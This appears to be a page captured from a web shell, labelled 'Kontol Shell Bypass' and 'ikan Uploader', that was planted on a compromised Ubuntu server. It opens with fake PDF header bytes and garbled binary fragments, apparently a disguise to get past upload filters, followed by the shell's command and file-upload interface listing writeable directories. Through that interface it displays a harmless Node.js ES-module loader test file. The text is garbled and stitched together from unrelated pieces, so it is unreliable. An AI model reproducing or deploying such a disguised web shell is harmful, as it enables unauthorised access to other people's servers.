%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/es-module/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/es-module/test-esm-loader.mjs
// Flags: --experimental-loader ./test/fixtures/es-module-loaders/hooks-custom.mjs
import '../common/index.mjs';
import assert from 'assert';


await assert.rejects(
  import('nonexistent/file.mjs'),
  { code: 'ERR_MODULE_NOT_FOUND' },
);

await assert.rejects(
  import('../fixtures/es-modules/file.unknown'),
  { code: 'ERR_UNKNOWN_FILE_EXTENSION' },
);

await assert.rejects(
  import('esmHook/badReturnVal.mjs'),
  { code: 'ERR_INVALID_RETURN_VALUE' },
);

// Nullish values are allowed; booleans are not
await assert.rejects(
  import('esmHook/format.false'),
  { code: 'ERR_INVALID_RETURN_PROPERTY_VALUE' },
);
await assert.rejects(
  import('esmHook/format.true'),
  { code: 'ERR_INVALID_RETURN_PROPERTY_VALUE' },
);

await assert.rejects(
  import('esmHook/badReturnFormatVal.mjs'),
  { code: 'ERR_INVALID_RETURN_PROPERTY_VALUE' },
);

await assert.rejects(
  import('esmHook/unsupportedReturnFormatVal.mjs'),
  { code: 'ERR_UNKNOWN_MODULE_FORMAT' },
);

await assert.rejects(
  import('esmHook/badReturnSourceVal.mjs'),
  { code: 'ERR_INVALID_RETURN_PROPERTY_VALUE' },
);

await import('../fixtures/es-module-loaders/js-as-esm.js')
.then((parsedModule) => {
  assert.strictEqual(typeof parsedModule, 'object');
  assert.strictEqual(parsedModule.namedExport, 'named-export');
});

// The custom loader tells node .ext files are MJS
await import('../fixtures/es-modules/file.ext')
.then((parsedModule) => {
  assert.strictEqual(typeof parsedModule, 'object');
  const { default: defaultExport } = parsedModule;
  assert.strictEqual(typeof defaultExport, 'function');
  assert.strictEqual(defaultExport.name, 'iAmReal');
  assert.strictEqual(defaultExport(), true);
});

// The custom loader's resolve hook predetermines the format
await import('esmHook/preknownFormat.pre')
.then((parsedModule) => {
  assert.strictEqual(typeof parsedModule, 'object');
  assert.strictEqual(parsedModule.default, 'hello world');
});

// The custom loader provides source even though file does not actually exist
await import('esmHook/virtual.mjs')
.then((parsedModule) => {
  assert.strictEqual(typeof parsedModule, 'object');
  assert.strictEqual(typeof parsedModule.default, 'undefined');
  assert.strictEqual(parsedModule.message, 'WOOHOO!');
});

// Ensure custom loaders have separate context from userland
// hooks-custom.mjs also increments count (which starts at 0)
// if both share context, count here would be 2
await import('../fixtures/es-modules/stateful.mjs')
.then(({ default: count }) => {
  assert.strictEqual(count(), 1);
});

Kontol Shell Bypass